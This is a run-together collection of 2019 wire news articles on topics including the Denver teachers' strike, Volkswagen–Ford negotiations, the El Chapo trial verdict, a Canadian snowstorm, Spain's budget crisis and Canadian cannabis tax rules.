(Additional reporting by Didi Akinyelure; Writing by Paul Carsten; Editing by Giles Elgood)By Steve Gorman (Reuters) - A unique, incentive-based pay structure adopted by Denver public schools more than a decade ago is at the crux of a strike by teachers who say the bonus system has eroded their earning power in a city where the cost of living has soared over the last 10 years. Their union, the Denver Classroom Teachers Association, initially embraced the so-called ProComp pay scheme but is now seeking a more traditional salary structure with less emphasis on bonuses tied to student achievement or tougher teaching assignments. The Denver work stoppage, which began on Monday, follows statewide teacher walkouts driven by salary disputes last year in West Virginia, Kentucky, Oklahoma and Arizona, and a strike in Los Angeles last month that focused on pay, class size and charter school regulation. The strike in Denver is contesting the longest-running teacher compensation system of its kind in the United States, according to Allison Atteberry, an education professor at Colorado University-Boulder who has studied the issue. ProComp, short for Professional Compensation, began on a pilot basis in 2001, growing out of a national movement to link teachers' salaries with performance, measured in part by student achievement. The Denver program included incentives tied to performance evaluations, and a panoply of other factors aimed at getting the strongest educators to the students who need them most. MINIMIZED BASE PAY As fully adopted in 2005 - with a special voter-approved property tax to fund it - ProComp includes bonuses for teaching in high-poverty communities and in hard-to-staff subjects such as math, science and special education. Conversely, it also rewards faculty members of the top-performing schools. But union officials said the program was revised in 2008 in a way that has minimized general base pay in lieu of bonuses that are less predictable and have failed to keep pace with rising living expenses. The result is a growing exodus of experienced teachers from Denver to neighboring districts with higher pay, said Robert Gould, chief negotiator for the 5,650-member Denver Classroom Teachers Association. The cost of a median-price home in Denver has jumped 85 percent during the past decade, while Colorado as a whole ranked 50th last year among all states in teacher wage competitiveness in a Rutgers University study. "This is really at the heart of what Denver teachers are experiencing; an unlivable overall salary level in an increasingly unaffordable city," Atteberry told Reuters by email. The superintendent of Denver Public Schools, Susana Cordova, indicated at the outset of renewed contract talks on Tuesday the district was moving toward teachers' demands for simplifying the current pay structure. "Many of the things I think we hear our teachers complain about, actually, aren't' about the proposal that we've put on the table," she said. "It's about the current system. And many of those things I agree with as well." (Reporting by Steve Gorman; editing by Bill Tarrant and Diane Craft)By Ben Klayman, David Shepardson and Jan Schwartz (Reuters) - Partners Volkswagen AG and Ford Motor Co are at odds over how much the German automaker will invest in the No. 2 U.S. automaker's self-driving vehicle unit, with Ford seeking at least $500 million, people familiar with the negotiations said. Analysts and investors have focused on the potential savings their alliance could generate, so any sign of problems in the negotiations is not welcome news. VW has resisted agreeing to invest in Ford's autonomous vehicle unit, instead preferring to announce the companies will simply work together in that area, according to the people familiar with the talks, who asked not to be identified. Some of the hesitation centers around questions about Ford's technology, one person said. Ford, on the other hand, wants VW to invest at least $500 million after earlier seeking $1 billion, eyeing deals its larger rival General Motors Co reached with Japan's SoftBank Group Corp and Honda Motor Co Ltd that raised $5 billion combined and valued GM's Cruise self-driving vehicle unit at $14.6 billion, the sources said. VW and Ford declined to discuss details of the talks. "We are still in ongoing negotiations with Ford, which we are conducting constructively and openly," VW said in a statement on Wednesday. "Our talks with Volkswagen continue," Ford said in a statement. "Discussions have been productive across a number of areas. We'll share updates as details become more firm." STICKING POINTS In January, the companies announced they would join forces on commercial vans and pickup trucks, and also signed a memorandum of understanding to work together on electric and self-driving vehicle technology, actions meant to save the automakers billions of dollars. The companies first disclosed they were discussing such a deal in June 2018 and subsequently said it would expand beyond that. VW Chief Executive Herbert Diess and Ford CEO Jim Hackett both voiced optimism last month that the deal involving electric and autonomous vehicles would be finalized, but provided no timeline. Another issue in the talks is how the companies value VW's autonomous technology assets that will be added to the joint effort, the sources said. Meanwhile, the companies also have been negotiating Ford's use of VW's MEB EV platform, including the volume involved, where VW would provide it and how much Ford would pay for its use, the sources said. However, Ford cannot use the platform until 2024 at the earliest, the people said. Ford's president of global markets, Jim Farley, suggested during the taping of Detroit television show "Autoline Detroit" on Monday there were challenges around the use of VW's EV platform, saying the MEB was primarily designed for use in Europe and China, and for different consumer needs. The talks around teaming up on EVs and AVs have advanced together so far, but are not necessarily linked, the sources said. Ford would walk away from a deal it felt was unfair, a second person said. The discussions have dragged on for months, but there is no deadline and a third person said they could be resolved shortly. Shares of both companies were each down less than 1 percent on Wednesday afternoon. Sources previously said the framework of a deal would include VW investing in Ford's AV operations, including its Argo AI business. VW, Europe's largest automaker, has earmarked $50 billion to develop electric cars, autonomous driving and new mobility services by 2023. CHALLENGES The efforts by VW and Ford to expand their alliance highlight the growing pressure on global automakers to manage the billions of dollars necessary to develop electric and self-driving vehicles, as well as technology to meet tougher emissions standards for millions of internal combustion vehicles they will sell in coming years. There has been significant investment activity in the industry over the past year around autonomous vehicles, a segment in which Alphabet Inc's Waymo self-driving unit is considered the leader. VW has been open about its desire to work with other companies around self-driving cars and when the Ford alliance was announced Diess said teaming up with an American company made sense given the more advanced U.S. regulatory environment. Interest in the sector remains high. On Tuesday, sources said GM and Amazon.com Inc were in talks to take minority stakes in electric automaker Rivian Automotive, potentially tapping in to the startup's vehicle platform. The previous day, driverless delivery startup Nuro said it raised $940 million from SoftBank. On Feb. 7, startup Aurora, whose CEO earlier led Alphabet's self-driving program, raised more than $530 million in funding, including from Amazon. Aurora has contracts to help VW, Hyundai Motor Co Ltd and China's Byton develop AVs. SoftBank bought its stake in GM's Cruise unit for $2.25 billion in May 2018, and last October SoftBank and Toyota Motor Corp said they would jointly develop self-driving car services. Honda followed SoftBank last October, agreeing to invest $2.75 billion in Cruise. (Reporting by Ben Klayman in Detroit, David Shepardson in Washington and Jan Schwartz in Hamburg, Germany; Editing by Nick Zieminski and Matthew Lewis)The national cultural heritage law, or Republic Act No. 10066, has either altered many business plans or prompted some companies to advance their corporate decisions. The laws provisions defining what constitute historical and architectural landmarks are now the bane of property developers, especially in Metro Manila. One specific provision of the law that classifies structures dating at least 50 years old as national cultural heritage has stopped one conglomerate from tearing one of its buildings along Ayala Avenue in Makati. The limit of the same provision led Bank of the Philippine Islands, the nations third-biggest lender in terms of assets, to go ahead with its decision to demolish its Ayala headquarters and construct a new one on the same area. Owners of a 50-year-old building, according to the law, may petition the appropriate government agency to remove the presumption of important cultural property which shall not be unreasonably withheld. The building owners may try to go around this route to escape the ambit of the law but they will likely jump the gun to avoid complexities. Besides, tearing down a building along the pricey Ayala Avenue and similar financial centers nearby before it turns 50 and building a new one on the same lot will be more profitable than keeping the old structure. For the building owners, the demolition job (no pun intended) is the safest option to take before the property falls under the coverage of the law or is categorized as a historical landmark. The law defines historical landmarks as those sites or structures that are associated with events or achievements significant to Philippine history as declared by the National Historical Institute. Such definition is encompassing and subject to many interpretations. For a company trying to register profits and please its stockholders, the laws provision is a risk.Ayala Corp. built the 35-story Tower One & Exchange Plaza at the corner of Ayala Ave. and Paseo de Roxas to house the conglomerates offices and the Philippine Stock Exchange. Ayala planned a second tower on the site where the old Makati Stock Exchange Building stands, but being one of the first buildings in the Makati Central Business District, the exchange cannot just be torn down because of its contribution in Philippine commerce history. The building will be 50 years old in 2020.But developers successfully moved for the demolition of the iconic Mandarin Hotel in Paseo de Roxas before it turned 50. Another landmark building, the Intercon Hotel, also a five-star hotel on Ayala Avenue, has been torn down to escape the provision of the national cultural heritage law. Bank of the Philippine Islands, the third-largest lender in terms of assets, meanwhile, will start constructing its new headquarters along Ayala Avenue in Makati City by the second quarter of this year. BPI executive vice president, treasurer and global markets head Antonio Paner earlier said the bank would be tearing down its current head office built four decades ago in the first quarter this year. The bank moved forward the demolition of the building, which was built in 1979, to avoid being tagged 50 years old. BPIs decision to construct a new building is an investment decision that stands to result in more profits. The bank plans to build two towers on its present site, with one intended for mixed-use purposes. The Lopez Group is spending P6 billion to redevelop the one-hectare site of the former Benpres Building in Ortigas Center into a two-tower office project to boost recurring income. The Benpres Building, which will turn 50 this year, can be considered a historical landmark, being one of the oldest buildings in the Ortigas area. It was originally commissioned by the late Eugenio Lopez Sr. and built in 1969 to serve as the headquarters of the Manila Chronicle. However, President Ferdinand Marcos declaration of Martial Law less than two years later saw the closure of the Chronicle. The building was returned to the Lopez family after the People Power Revolution of 1986 and renamed the BENPRES building after Eugenio Lopez Sr.s parents, former Iloilo Governor Benito Lopez and Presentacion Hofilena Lopez. E-mail: [email protected] or [email protected] or [email protected]By Brad Brooks and Gary McWilliams RIO DE JANEIRO/HOUSTON (Reuters) - The FBI is investigating energy trading firm Vitol's top two executives in the Americas in connection with a Brazil bribery case, two sources with direct knowledge of the matter said, deepening the U.S. role in a probe of foreign oil firms' dealings with state-controlled Petrobras. The FBI's targeting of the Vitol executives is the second recent sign that U.S. authorities are stepping up their involvement in the trading fraud case, the latest twist in Brazil's sweeping "Car Wash" corruption probe. That significantly increases dangers for Vitol, the world's largest independent oil trader, and other major trading firms like Trafigura and Glencore, also ensnared in the case. (GRAPHIC: Volumes and revenues of the four oil traders - https://tmsnrt.rs/2zWgcLA) Miguel "Mike" Loya, Vitol's U.S. head, and Antonio Maarraoui, the company's head for Latin American and the Caribbean, are under investigation by the U.S. law enforcement agency, the sources told Reuters, speaking on condition of anonymity. Vitol said it has a zero tolerance policy for bribery and corruption. Trafigura and Glencore have declined to comment on the U.S. investigation, with the latter reiterating past statements that it is cooperating with Brazilian authorities. Trafigura said it takes the allegations seriously. All of the companies have been suspended from business dealings with Petroleo Brasileiro SA since Brazilian prosecutors accused the three trading firms in December of paying more than $30 million in bribes to its employees. Petrobras declined to comment specifically on any FBI involvement, but said in an email that it remains committed to cooperating with investigators. The company previously said it was a victim of the alleged scheme. U.S. prosecutors and their Brazilian counterparts have worked together on Car Wash cases in the past, including on forcing Brazil construction conglomerate Odebrecht to pay a record $2.6 billion fine in a 2016 leniency deal. 'KNOWINGLY' INVOLVED Loya and Maarraoui, both Houston-based, have not been charged in Brazil. They also have not been charged in the United States and it is unclear whether the U.S. Justice Department will bring charges. Neither Loya nor Maarraoui responded to requests for comment via email. Brazilian prosecutors previously said Loya and Maarraoui "knowingly and voluntarily" arranged to bribe Petrobras employees using middlemen with whom the pair had direct. A Brazil federal police investigation includes several emails between Loya, Maarraoui and a group of middlemen, along with personal meetings, which often took place in Houston. Brazil prosecutors have said Loya and Maarraoui arranged for the middlemen to move illicit funds through U.S., European and offshore bank accounts. That money that was funneled to Petrobras employees, who in turn gave Vitol sweetheart deals on massive trades involving petroleum derivatives and fuel storage, they said. Loya, part of a large and successful family in the energy business, joined Vitol as a trader in 1992 and became president of its Americas operation in 1999. He was considered to be in the running to lead the parent company a year ago. Coming from modest means in El Paso, Texas, Loya graduated from the University of Texas at El Paso and got his MBA at Harvard. He played rugby in college and now co-owns the SaberCats, a Major League Rugby team in Houston. BIG TARGETS The European firms - Vitol is based in London, the two others in Switzerland - are powerhouses in commodities trading and are by far the largest firms yet caught up in the Car Wash probe. They have investments in strategic energy and commodity infrastructure around the world including Brazil. Together they control about 10 percent of the world's daily oil consumption and have revenues larger than Argentina's gross domestic product. John Marzulli, a spokesman for U.S. Attorney for the Eastern District of New York Richard Donoghue, declined to confirm or deny that an investigation into the men is underway by the office. The FBI's media relations office said by email that it "neither confirms nor denies the existence of investigations." Last week, Reuters reported that the U.S. Justice Department was investigating a former U.S.-based oil trader for Petrobras who already is charged in Brazil with taking part in the alleged corruption scheme involving commodity companies Vitol, Glencore Plc and Trafigura AG. The trader, Rodrigo Garcia Berkowitz, 39, is cooperating with U.S. authorities in the investigation and may face charges in the United States, sources said. Brazilian prosecutors have followed a pattern of first charging less important figures in schemes, then flipping them to turn state's witness and testify against more powerful figures. The Car Wash investigations began in 2014 when a money laundering scheme was discovered at a gas station in the Brazilian capital Brasilia, leading to black market money dealers' links to top executives at Petrobras. It is the first major push against corruption and impunity for the rich and powerful in Brazil, and has profoundly shaken the political and business communities in Latin America's biggest economy. (Reporting by Brad Brooks in Rio de Janeiro and Gary McWilliams in Houston; Additional reporting by Julia Payne in Geneva; Editing by Will Dunham and Chris Plumb)Joaquin El Chapo Guzman faces spending the rest of his life behind bars after a jury reached a guilty verdict following six days of deliberation.

Guzman, 61, was convicted on all 10 counts, including international distribution of cocaine, heroin, marijuana, engaging in a continuing criminal enterprise, and conspiracy to launder money.

The drug lord had pleaded not guilty, triggering a two-and-a-half month trial which included 200 hours of testimony from 56 witnesses and drew tourists from around the world to watch from the public gallery.

Of the witnesses, 14 were former associates of Guzman who agreed to testify in exchange for lesser sentences.

The 12-person jury, made up of eight women and four men, deliberated for 34 hours in Brooklyn federal court before coming to a verdict.

Guzman reportedly looked stunned as the verdict, which will see him serve a mandatory sentence of life with no chance of parole in federal prison, was read.

Guzmans wife, Emma Coronel, a former beauty queen and constant presence in the courthouse throughout the trial, gave her husband a thumbs-up as he was escorted out of the courtroom.

Prior to his final capture in 2016, the leader of the Sinaloa Cartel escaped maximum security prison in Mexico twice. He was extradited to the United States in 2017.

During the trial, which often played out like a soap opera, testimonies detailing large-scale drug trafficking, murders, underground tunnels, and jeweled AK-47 rifles were heard by the court.

In addition to drug-trafficking charges, the 61-year-old was also found guilty of charges related to the use of firearms.

After announcing the verdict, Judge Brian Cogan thanked the jury for its careful deliberation.

The way you went about it was really quite remarkable and frankly it made me proud to be an American, he said.

Guzman will be sentenced on 25 June.NEW YORK  Some visitors to trial have sacrificed vacation time, work and sleep in the hope of snagging scarce seats in the Brooklyn federal courthouse to see the alleged Mexican drug lord.

In a bizarre incident last week, one visitor gave up his personal liberty.

Reny Martinez Rivera joined media reporters and spectators in the early-morning line Thursday for the trial of the accused leader of Mexico's Sinaloa drug cartel.

Martinez made it into the eighth-floor trial courtroom. Then he sat in the area reserved for Guzman's wife, Emma Coronel Aispuro.

A Mexican TV reporter noticed and asked about his seat selection. Martinez, speaking in Spanish, said he was from Milan, Italy, and indicated he had ties to Guzman's family, plus several homes in Mexico. The puzzled reporter asked whether he had somehow been "Mexicanized."

In this courtroom sketch, Joaquin "El Chapo" Guzman, center, and his attorney Eduardo Balazero, right, listen as a prosecutor delivers closing arguments during his trial, Wednesday, Jan. 30, 2019, in Brooklyn, NY.

At that point, a courtroom security marshal saw Martinez and ordered him to gather up his belongings and come to the courtroom door. Martinez refused, saying he was part of Guzman's family or a family friend.

The marshal again instructed Martinez to come to the door, adding loudly: Now. He and other security officers took the visitor to an overflow courtroom, where visitors and reporters have been following the Guzman trial via video and audio feeds.

Using Martinez's New York State driver's license, the marshals checked the visitor's identity and found a bench warrant for his arrest, a court spokesman said. They detained him and turned him over to Immigration and Customs Enforcement officers.

ICE said Martinez is a citizen of Spain who was in the United States illegally. The agency said he has "an extensive criminal history" here, including "multiple felony convictions."

Martinez lost his final legal bid to remain in the country in April 2006, the agency said.

"He is currently in ICE custody pending removal from the U.S.," the agency said in a statement.

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As a result, Martinez wasn't in the courtroom Thursday when the jury of eight women and four men concluded a fourth day of deliberations without reaching a verdict. The panel is scheduled to resume deliberations on Monday morning.

What's taking the jury so long?

Federal prosecutors called 56 witnesses against Guzman during the trial. Fourteen were alleged former associates of the accused drug lord. Their testimony supported other evidence presented by prosecutors to argue that Guzman smuggled tons of cocaine and other drugs into the United States.

Guzman's defense called just one witness. They focused their trial strategy on characterizing the government witnesses as liars who would say anything to win leniency for their own crimes.

Guzman declined to testify in his own defense.

So why are Guzman trial jurors, who are serving anonymously, starting their fifth day of deliberations on Monday?

The answer might lie in part in the 10-count superseding indictment prosecutors filed against Guzman. The charges include participating in a continuing criminal enterprise, crime that could bring a life sentence in prison, drug trafficking, use of a firearm in tandem with drug-related crimes and money laundering.

Jurors must find that one or more legal requirements for each count has been met before they can vote on a conviction on that charge.

Making a determination one way or the other takes time.

Adding to the difficulty, a complex verdict sheet includes one or more alleged violations for each criminal count. The continuing criminal enterprise count alone has 27.

Jurors must determine whether prosecutors have proved the violations beyond a reasonable doubt.

That, too, takes time.

Additionally, getting answers to questions raised by jurors during their deliberations isn't necessarily an immediate process.

On Thursday afternoon, jurors asked to see a portion of the testimony of Juan Carlos Ramirez Abadia, a former Colombian drug cartel leader who said he was a major cocaine supplier for Guzman.

Prosecutors and defense lawyers conferred. But they could not reach an immediate agreement on which parts of the trial transcript should be given to jurors.

U.S. District Judge Brian Cogan issued a decision Friday that overruled five defense objections and one government objection.

Jurors are expected to get the relevant Ramirez transcript Monday morning.

Proposed El Chapo Verdict S... by on Scribd

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This article originally appeared on USA TODAY: El Chapo trial: Undocumented immigrant detained, ICE plans to deportBy Brendan Pierson and Daina Beth Solomon (Reuters) - A U.S. jury found Mexican drug lord Joaquin "El Chapo" Guzman guilty of running a criminal enterprise on Tuesday, after an 11-week trial in New York that put the infamous gangster's personal life and business dealings on public display. Guzman was convicted on all 10 criminal charges he was tried for. U.S. prosecutors said he had amassed a $14 billion fortune through bribery, murder and drug smuggling. A number of Guzman's former associates took the stand to bolster the prosecution's case, including one who said she was his lover and another whose brother was among his top allies, as well as law enforcement officers. Defense lawyers said the 61-year-old Guzman, whose nickname means "Shorty," was set up as a scapegoat. The following are some of the most colorful tales the jury heard: HIS OWN WORDS * Guzman's voice was "sing-songy" with a "nasallyundertone," said FBI agent Steven Marston. In one recorded call,Guzman tells an associate, "Don't be so harsh ... take it easywith the police." The partner responds: "You taught us to be awolf." * Text messages between Guzman and his wife, Emma Coronel,often turned to family matters. "Our Kiki is fearless," Guzmanwrote in one, referring to one of their daughters. "I'm going togive her an AK-47 so she can hang with me." * After Coronel said she saw a suspicious car, Guzman wroteto her, "You go ahead and lead a normal life. That's it." Laterhe reminds her: "Make sure you delete everything after we'redone chatting." * In one of the trial's final days, Guzman told the judge hewould not testify in his own defense. The same day, he grinnedbroadly at audience member Alejandro Edda, the Mexican actor whoplays Guzman in the Netflix television drama "Narcos." LOVERS AND BUSINESS * Multiple "wives" visited Guzman when he was hiding inSinaloa, said Alex Cifuentes, a former close partner. * Lucero Sanchez Lopez, a former Mexican lawmaker, toldjurors she once had a romantic relationship with Guzman, whosent her to buy and ship marijuana. "I didn't want for him tomistrust me because I thought he could also hurt me," she said."I was confused about my own feelings over him. Sometimes Iloved him and sometimes I didn't." * Agustina Cabanillas, a partner of Guzman who called him"love," set up drug deals by passing information between Guzmanand others. In one message, Cabinillas called Guzman a "jerk"who was trying to spy on her. "Guess what? I'm smarter thanhim," she wrote.HIGH LEVELS OF CORRUPTION * Guzman's Sinaloa Cartel paid bribes, some in the millionsof dollars, to Mexican officials at every level, said JesusZambada, the brother of Ismael "El Mayo" Zambada, who workedalongside El Chapo and is still at large. * Beneficiaries included a high-ranking police official whofed Guzman information on police activities "every day," saidMiguel Angel Martinez, a former cartel manager. * Guzman once paid $100 million to former President EnriquePena Nieto, Cifuentes said. Pena Nieto has denied taking anybribes. * When imprisoned in Mexico in 2016, Guzman bribed anational prison official $2 million to be transferred to adifferent facility, but the move was unsuccessful. MURDER * After a rival cartel member declined to shake Guzman'shand, he ordered the man killed, fueling a war between thecartels, Zambada said. * When assassins reporting to Guzman killed a policeofficial who worked for a rival, Zambada said, they lured himout of his house by pretending they had hit his son with a car. * Guzman ordered Cifuentes to kill the cartel'scommunications expert after learning he was cooperating with theFBI. But Cifuentes said he was unable to carry out the hitbecause he did not know the man's last name. * When Damazo Lopez Nunez, a top lieutenant to Guzman, toldhis boss that a Mexican mayor wanted them to "remove" atroublesome police officer, Guzman told him they should do herthe favor because the mayor was a favorite for an upcoming stateelection, Lopez testified. He said Guzman told him to make thekilling look like revenge from a gang member. * Lopez also said Guzman's sons killed a prominent reporterin Sinaloa because he published an article about cartelinfighting against their wishes. * One of Guzman's former bodyguards, Isaias Valdez Rios,said he watched his boss personally kill three rival cartelmembers. Guzman shot one of them and ordered his underlings tobury the man while he was gasping for air. On another occasion,Guzman tortured two men for hours before shooting them each inthe head and ordering their bodies tossed into a flaming pit.SAFE HOUSES AND ESCAPES * For a period of Guzman's time as a fugitive in Sinaloa, innorthern Mexico, his posse lived in "humble pine huts" withtinted windows, satellite televisions and washer-dryers,Cifuentes said. About 50 guards formed three rings around thehomes to keep watch. * Guzman escaped into a tunnel hidden beneath a bathtub whenU.S. agents raided one of his homes in 2014, said Sanchez, hislover. She followed Guzman, who was completely naked, into thepassage, feeling water trickle down her legs. "It was very darkand I was very scared," she said. * Guzman's wife helped her husband tunnel out of a Mexicanprison in 2015 by passing messages to his associates, Lopeztestified. She unsuccessfully tried to help him duplicate theescape when he was captured the next year. (Reporting by Brendan Pierson in New York; Additional reporting and writing by Daina Beth Solomon in Mexico City; Editing by Tom Brown, Dan Grebler and Grant McCool)Mexicos most notorious drug lord, Joaquin El Chapo Guzman, was convicted Tuesday of running an industrial-scale smuggling operation after a three-month trial packed with Hollywood-style tales of grisly killings, political payoffs, cocaine hidden in jalapeno cans, jewel-encrusted guns and a naked escape with his mistress through a tunnel.

Guzman faced a drumbeat of drug-trafficking and conspiracy convictions that could put the 61-year-old escape artist behind bars for decades in a maximum-security US prison selected to thwart another one of the breakouts that embarrassed his native country.

New York jurors whose identities were kept secret reached a verdict after deliberating six days in the expansive case, sorting through what authorities called an avalanche of evidence gathered since the late 1980s that Guzman and his murderous Sinaloa drug cartel made billions in profits by smuggling tons of cocaine, heroin, meth and marijuana into the US.

Evidence showed drugs poured into the US through secret tunnels or hidden in tanker trucks, concealed in the undercarriage of passenger cars and packed in rail cars passing through legitimate points of entry  suggesting that a border wall wouldnt be much of a worry.

The prosecutions case against Guzman, whose nickname translates to Shorty, included the testimony of several turncoats and other witnesses. Among them were Guzmans former Sinaloa lieutenants, a computer encryption expert and a Colombian cocaine supplier who underwent extreme plastic surgery to disguise his appearance.

One Sinaloa insider described Mexican workers getting contact highs while packing cocaine into thousands of jalapeno cans  shipments that totaled 25 to 30 tons of cocaine worth $500m (387.5m) each year. Another testified how Guzman sometimes acted as his own sicario, or hitman, punishing a Sinaloan who dared to work for another cartel by kidnapping him, beating and shooting him and having his men bury the victim while he was still alive, gasping for air.

Story continues

The defence case lasted just half an hour. Guzmans lawyers did not deny his crimes as much as argue he was a fall guy for government witnesses who were more evil than he was.

Defence attorney Jeffrey Lichtman urged the jury in closing arguments not to believe government witnesses who lie, steal, cheat, deal drugs and kill people.

Deliberations were complicated by the trials vast scope. Jurors were tasked with making 53 decisions about whether prosecutors have proven different elements of the case.

The trial cast a harsh glare on the corruption that allowed the cartel to flourish. Colombian trafficker Alex Cifuentes caused a stir by testifying that former Mexican President Enrique Pena Nieto took a $100m (77.5m) bribe from Guzman. Mr Nieto denied it, but the allegation fit a theme: politicians, army commanders, police and prosecutors, all on the take.

The tension at times was cut by some of the trials sideshows, such as the sight of Guzman and his wife, Emma Coronel Aispuro, showing up in matching burgundy velvet blazers in a gesture of solidarity. Another day, a Chapo-size actor who played the kingpin in the TV series Narcos: Mexico came to watch, telling reporters that seeing the defendant flash him a smile was surreal.

Reporting by AP. See below for The Independents live coverage of the El Chapo verdict.

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Please allow a moment for the liveblog to loadOttawa (AFP) - A huge snowstorm blanketed eastern Canada on Wednesday, closing schools, grounding hundreds of flights and forcing many workers to stay home as tens of thousands of plows toiled to clear roads.

Big fluffy snowflakes began falling Tuesday afternoon, with more than 30 centimeters (12 inches) accumulated on the ground by the next morning and more on the way, according to weather forecasts.

Wind gusts up to 70 kilometers (44 miles) per hour were also expected in the evening, blowing snow and severely reducing visibility from Toronto, Ottawa and Montreal to the Atlantic coast provinces.

A winter storm warning was in place for much of the region and travel was not advised.

Nearly 250 flights have been canceled in Montreal since Tuesday, while travelers described disruptions at the country's biggest airport in Toronto -- where flight cancelations topped 400 -- as a nightmare.

In Ottawa, residents sweated under knit hats and heavy parkas trying to dig out. The odd commuter on skis was spotted headed to work. Others wore snowshoes.

Public broadcaster CBC Radio started reporting the near-record dump in height of dog breeds -- from a Beagle to a Great Dane -- and invited kids to call in to share their "snow day" stories after scheduled guests canceled.

Ice sculptures for the city's annual Winterlude festival, meanwhile, were wrapped to protect them from snow, ice pellets, possible freezing rain and strong winds.

In Toronto, administrators took the rare step of closing all schools and authorities reported more than 60 road accidents and a few power outages, while in Montreal, kids turned icy stairs outside their homes into toboggan runs.

- 'Like a dream' -

According to meteorologists, the late winter storm was caused by a "Colorado low," forming in the US state and picking up moisture and warmth from the Gulf of Mexico before heading north.

Environment Canada weatherman Simon Legault noted that Montreal was expected to get a whopping 40 centimeters (16 inches) of snow over two days, or one-fifth of the amount that would normally fall on the city all winter.

Story continues

"It's been a sawtooth winter," he said, describing big and frequent swings in temperatures from -40 Celsius (-40 Fahrenheit) to above freezing, and the reverse, in a matter of hours.

"There's been a lot more snow than usual too," he added.

For winter sports enthusiasts, it was a heyday.

"Lots of snow!" the National Capital Commission (NCC) said on its website, announcing large numbers of cross-country and backcountry skiers hitting trails in Gatineau Park, near Ottawa.

The Rideau Canal skateway -- the longest in the world -- was also open but ice conditions were listed as only "fair due to light snow cover." Officials warned skaters to watch for cracks and rough ice hidden beneath the snow.

And Quebec's Mont Tremblant ski resort said business was brisk, with many people taking advantage of school and office closures to hit the slopes.

"It's my first winter," Sami Seddiki, who moved to Montreal from France six months ago, told AFP. "I find it exotic. It's like a dream."Madrid (AFP) - Spanish Prime Minister Pedro Sanchez will announce on Friday whether to call an early general election after right-wing and Catalan separatist lawmakers rejected his draft 2019 budget.

The socialist premier, who came to power in June thanks in part to parliamentary support from 17 Catalan lawmakers, was depending on their votes to push through his first budget.

But on Wednesday they withdrew their backing in protest at the leaders of a secessionist movement being put on trial for rebellion this week and not being able to hold a legal independence referendum.

Sanchez left parliament without speaking after the budget vote but a government official said his decision on whether to call early elections would be announced after a weekly cabinet meeting on Friday.

The next national election is due mid-2020. Spanish media suggested May 26 when municipal, regional and European Parliament elections are held in Spain, or April 28 as the most likely dates for the polls.

If Sanchez does call snap polls it will be Spain's third general elections in little over three years.

He took office in June after the previous conservative Popular Party (PP) government of prime minister Mariano Rajoy -- tainted by a corruption scandal -- was ousted in a no-confidence vote.

But his Socialist Party holds only 84 seats in the 350-seat parliament -- the smallest number of any Spanish government since the return to democracy following dictator Francisco Franco's death in 1975 -- and his government has struggled to pass legislation.

- 'End of the road' -

Pablo Casado, leader of the conservative Popular Party (PP), said the budget rejection marked "the end of the road for Pedro Sanchez as prime minister."

"It's now really pressing to call general elections."

Conservatives are furious with the socialist government for negotiating with Catalonia's separatist executive as Madrid tries to ease tensions with the northeastern region after a secession attempt in October 2017.

Story continues

While Madrid says it initiated talks to try and find a way out of an ongoing crisis as Catalonia's government continues to want independence, the opposition has accused it of yielding to separatist demands merely to stay in power.

Various opinion polls -- the latest published on Wednesday in online daily eldiario.es -- point to a right-wing majority in parliament post-elections formed by the PP, centre-right Ciudadanos and far-right Vox party, which has surged in the polls recently thanks to its hard line against Catalan separatism

Tens of thousands of people waving red and yellow Spanish flags joined a rally on Sunday in Madrid called by the three parties against Sanchez, who they accuse of treachery over his negotiations with Catalan separatists.

- 'Brake on social progress' -

Analysts predicted that in the current climate, with Sanchez left with so little parliamentary support, he will call early general elections.

In addition to dealing with Catalonia, Sanchez's government approved a 22 percent increase in the minimum wage -- the biggest since 1977 -- which came into effect this year and has taken steps to remove Franco's remains from an imposing basilica near Madrid to a more discreet place.

"Legally he is not obliged to do so," said Antonio Barroso, deputy research director at the Teneo analysis group.

"But politically, the question is whether the government would be justified (in not calling polls)."

Sanchez's socialists have already adopted a campaign-like tone, accusing conservatives and Catalonia separatists of blocking a budget that included many social spending measures.

"The right-wing in this country is trying to put a brake on the social progress of this budget and this government," Budget Minister Maria Jesus Montero said after the rejection.

"It's trying to stop this country from moving forward," she added.Diana, Princess of Wales, and Sarah, Duchess of York in 1990 - UK Press

The sewer of social media is pitting high-profile women against one another, Sarah, Duchess of York has warned, as she says it is reminding her of the difficult days of her so-called rivalry with Princess Diana.

The Duchess said the descent of social media into appalling vicious comments terrifies her, as she joins a campaign for online kindness inspired by the treatment of the Duchesses of Cambridge and Sussex.

Saying bullying, sniping, bitching, even the most appalling sexism, racism and homophobia are commonplace online, she said: Women, in particular, are constantly pitted against and compared with each other in a way that reminds me of how people tried to portray Diana and me all the time as rivals, which is something neither of us ever really felt.

The Duchess, writing in Hello!, has added her support to the magazines campaign about social media, which was inspired by extreme abuse of both Kate and Meghan on websites including Kensington Palaces own Instagram.

Palace sources disclosed how staff are now spending hours monitoring vile messages - many of which are racist or sexist - in comment threads, with opposing groups of fans uniting behind one Duchess or the other to fight amongst themselves.

The Duchess of York at the wedding of Prince Harry and Meghan Markle

The Duchess of York compared the current situation with the world she experienced in the 1980s, when she and Diana Spencer married into the Royal family and went from being portrayed as a glamorous double act to competition.

Saying social media companies and news websites must do much more to protect against abuse, she wrote: "It's time to confront head on the fact that much of social media has become a sewer.

The Duchess of Cambridge and Duchess of Sussex at Wimbledon Credit: Heathcliff O'Malley

People feel licensed to say things online that they would never dream of saying to someone's face, and that encourages others to pile in, she added. It's so ubiquitous that we've all become numb to what's going on.

I believe that it's time to take a stand. This isn't about freedom of speech.

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The truth is, it's not acceptable to post abuse or threats on social media or news sites, and it's not acceptable to harangue other users simply because they disagree with you.

It's not acceptable to pit women against one another all the time. It's not acceptable to troll other people viciously online.

The full article is published in Hello! magazine, out now.Rolling papers, bongs, pipes, vaporizers and other cannabis accessories are not covered.

Ottawa can rake in up to $100 million per year from excise levies on cannabis, but that doesnt mean everybody should try to get that money back by claiming pre-rolled joints on their tax return.

Canadas historic legalization of recreational cannabis may have ushered the drug into the mainstream, but it was a non-event from an income tax perspective. It doesnt matter if pot helps you sleep or soothes your aching joints, cannabis has no business on your tax return without a real prescription.

The only way you can claim cannabis as an expense on your return is if it is for medical reasons, and you have a valid prescription from a medical professional that says you require it, and youve bought it legally, Jamie Golombek, CIBCs managing director of tax and estate planning, told Yahoo Finance Canada. This has been around for over a decade.

Canada legalized medical cannabis in 2001. The Canada Revenue Agency (CRA) formally cleared the smoke surrounding pot and taxes in a 2015 letter to the Canadian Medical Cannabis Industry Association.

The CRA includes marihuana [sic], marihuana plants or seeds, cannabis or cannabis oil for a person authorized to possess these substances on its list of medications and substances that can be claimed as medical expenses.

